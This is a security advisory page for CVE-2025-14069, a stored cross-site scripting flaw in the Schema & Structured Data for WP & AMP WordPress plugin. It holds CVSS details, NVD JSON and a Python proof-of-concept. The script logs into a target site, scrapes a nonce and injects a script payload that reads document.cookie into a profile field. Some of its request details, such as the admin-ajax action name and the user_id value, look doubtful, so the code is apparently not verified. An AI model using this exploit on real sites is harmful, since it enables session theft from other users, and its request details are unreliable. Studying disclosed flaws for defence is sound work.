Security Vulnerability Report
中文
CVE-2025-14069 CVSS 6.4 MEDIUM

CVE-2025-14069

Published: 2026-01-23 06:15:49
Last Modified: 2026-04-15 00:35:42

Description

The Schema & Structured Data for WP & AMP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'saswp_custom_schema_field' profile field in all versions up to, and including, 1.54 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Schema & Structured Data for WP & AMP <= 1.54

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-14069 Stored XSS PoC # Affected: Schema & Structured Data for WP & AMP plugin <= 1.54 # Target: WordPress with vulnerable plugin installed import requests from bs4 import BeautifulSoup target_url = "http://target-wordpress-site.com" username = "attacker" password = "attacker_password" session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1" } session.post(login_url, data=login_data) # Step 2: Get profile page to obtain nonce profile_url = f"{target_url}/wp-admin/profile.php" response = session.get(profile_url) # Step 3: Extract nonce from profile form soup = BeautifulSoup(response.text, 'html.parser') nonce_field = soup.find('input', {'name': '_wpnonce'}) nonce = nonce_field['value'] if nonce_field else "" # Step 4: Inject XSS payload via saswp_custom_schema_field # Payload: Simple alert to demonstrate XSS execution xss_payload = '<script>alert(document.cookie)</script>' # Alternative: Event handler based XSS # xss_payload = '" onerror="alert(document.domain)" x="' update_profile_url = f"{target_url}/wp-admin/admin-ajax.php" profile_data = { "action": "profile_personal_options", "saswp_custom_schema_field": xss_payload, "_wpnonce": nonce, "user_id": "current" } session.post(update_profile_url, data=profile_data) print("[+] XSS payload injected successfully") print("[+] Payload will execute when admin views affected pages") print(f"[+] Payload: {xss_payload}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14069", "sourceIdentifier": "[email protected]", "published": "2026-01-23T06:15:48.953", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Schema & Structured Data for WP & AMP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'saswp_custom_schema_field' profile field in all versions up to, and including, 1.54 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin Schema &amp; Structured Data para WP &amp; AMP para WordPress es vulnerable a cross-site scripting almacenado a través del campo de perfil 'saswp_custom_schema_field' en todas las versiones hasta la 1.54, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto permite a atacantes autenticados, con acceso de nivel Colaborador o superior, inyectar scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/schema-and-structured-data-for-wp/tags/1.53/admin_section/common-function.php#L1874", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/schema-and-structured-data-for-wp/tags/1.53/admin_section/structure-admin.php#L2605", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/schema-and-structured-data-for-wp/tags/1.53/output/function.php#L171", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3441582/schema-and-structured-data-for-wp/trunk?contextall=1&old=3429983&old_path=%2Fschema-and-structured-data-for-wp%2Ftrunk#file0", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/651a7036-d421-41b7-91db-102e60d8274e?source=cve", "source": "[email protected]"}]}}